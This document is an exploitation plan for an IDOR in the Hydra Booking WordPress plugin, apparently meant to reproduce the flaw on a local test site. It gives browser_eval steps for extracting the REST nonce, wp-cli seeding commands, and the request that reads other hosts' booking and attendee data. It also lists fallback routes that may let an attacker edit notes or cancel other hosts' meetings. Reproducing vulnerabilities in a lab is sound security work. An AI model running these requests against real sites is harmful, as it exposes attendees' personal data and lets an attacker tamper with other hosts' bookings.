Exploitation Research Plan: CVE-2026-12433 (Hydra Booking IDOR)

1. Vulnerability Summary

The Hydra Booking plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) in its REST API. Specifically, the endpoint /wp-json/hydra-booking/v1/booking/details/{id} allows any user with the tfhb_host role to view the booking details of any other host.

While the plugin implements a permission check (tfhb_manage_options_permission) that restricts access to "Hosts," it fails to verify if the requested {id} belongs to the authenticated user. An attacker can iterate through booking IDs to expose sensitive attendee information, including names, emails, phone numbers, and meeting locations.

2. Attack Vector Analysis

• Endpoint: /wp-json/hydra-booking/v1/booking/details/(?P<id>[0-9]+)
• HTTP Method: GET
• Authentication: Required. Any user with the tfhb_host role or the tfhb_manage_options capability.
• Vulnerable Parameter: The id path variable in the URL.
• Preconditions: The attacker must be logged in as a "Host" (a custom role created by the plugin).

3. Code Flow

1. Route Registration: In admin/Controller/BookingController.php, the route is registered:

   register_rest_route(
       'hydra-booking/v1',
       '/booking/details/(?P<id>[0-9]+)',
       array(
           'methods'  => 'GET',
           'callback' => array( $this, 'getBookingDetails' ),
           'permission_callback' =>  array(new RouteController() , 'tfhb_manage_options_permission'),
       )
   );
   

2. Permission Check: RouteController::tfhb_manage_options_permission verifies if the user has the tfhb_manage_options capability. This capability is granted to the tfhb_host role.
3. Vulnerable Callback: The getBookingDetails callback (defined in BookingController.php) is executed. According to the vulnerability description, this function (and its helper getBookingDetailsData) retrieves booking data based purely on the id provided in the URL without checking the host_id against the current user's host ID.
4. Existing (Unused) Protection: Note that BookingController contains a function tfhb_verify_booking_ownership( $booking_id ) (line 33) designed to check if a booking belongs to a host, but this function is not invoked in the permission_callback for the details endpoint.

4. Nonce Acquisition Strategy

The WordPress REST API requires a _wpnonce for authenticated requests to prevent CSRF, usually passed in the X-WP-Nonce header.

1. Role Setup: The tfhb_host role is required.
2. Dashboard Access: Logged-in hosts access the plugin via wp-admin/admin.php?page=hydra-booking.
3. Nonce Extraction:
   • Navigate to http://localhost:8080/wp-admin/admin.php?page=hydra-booking.
   • The plugin likely localizes its settings. Common Hydra Booking localization variables include tfhb_admin_data.
   • Use browser_eval to extract the REST nonce from the standard WordPress wpApiSettings or the plugin-specific object.
   • Command: browser_eval("window.wpApiSettings?.nonce") or browser_eval("window.tfhb_admin_data?.nonce").

5. Exploitation Strategy

1. Setup Phase:
   • Create a "Victim" user with the tfhb_host role.
   • Create an "Attacker" user with the tfhb_host role.
   • As the Victim, create a booking. Record the ID (e.g., 1).
2. Execution Phase:
   • Authenticate as the Attacker.
   • Obtain a REST nonce (see Section 4).
   • Send a GET request to the target endpoint targeting the Victim's booking ID.
3. Request Details:
   • Method: GET
   • URL: http://localhost:8080/wp-json/hydra-booking/v1/booking/details/[VICTIM_BOOKING_ID]
   • Headers:
     • X-WP-Nonce: [EXTRACTED_NONCE]
     • Content-Type: application/json

6. Test Data Setup

1. Create Roles (if not automatic): Ensure the plugin is activated so it creates the tfhb_host role.
2. Create Users:
   • wp user create victim victim@example.com --role=tfhb_host --user_pass=password
   • wp user create attacker attacker@example.com --role=tfhb_host --user_pass=password
3. Seed Data:
   • Since the plugin uses custom tables (e.g., {$wpdb->prefix}tfhb_bookings), use the UI or wp db query to insert a booking for the Victim.
   • A booking requires a host_id. Ensure the Victim user has an entry in the tfhb_hosts table linked to their user_id.
   • Use the SetupWizard::CreateHost logic or manually link:
     wp db query "INSERT INTO wp_tfhb_hosts (user_id, email, status) VALUES ([VICTIM_UID], 'victim@example.com', 'activate')"
wp db query "INSERT INTO wp_tfhb_bookings (host_id, status, meeting_title) VALUES ([VICTIM_HOST_ID], 'confirmed', 'Secret Strategy Meeting')"

7. Expected Results

• The server returns a 200 OK response.
• The JSON response body contains sensitive information:
  • meeting_title
  • attendee_details (Name, Email, etc.)
  • meeting_locations (Zoom links, addresses)
  • internal_notes

8. Verification Steps

1. Check Response: Confirm the JSON contains the string "Secret Strategy Meeting" (or whatever title was seeded).
2. Verify IDOR: Ensure the Attacker's own host ID is different from the Victim's host ID by checking the database:
   wp db query "SELECT id, user_id FROM wp_tfhb_hosts"

9. Alternative Approaches

If the details endpoint is patched or behaves differently, try other routes registered in BookingController::create_endpoint() that use the same permission_callback:

• /booking/(?P<id>[0-9]+) (Calls getBookingData)
• /booking/update-internal-note (POST request, may allow modification of other hosts' notes)
• /booking/cancel-booking-attendee (POST request, may allow cancelling other hosts' meetings)

All these routes use tfhb_manage_options_permission and likely suffer from the same lack of ownership validation.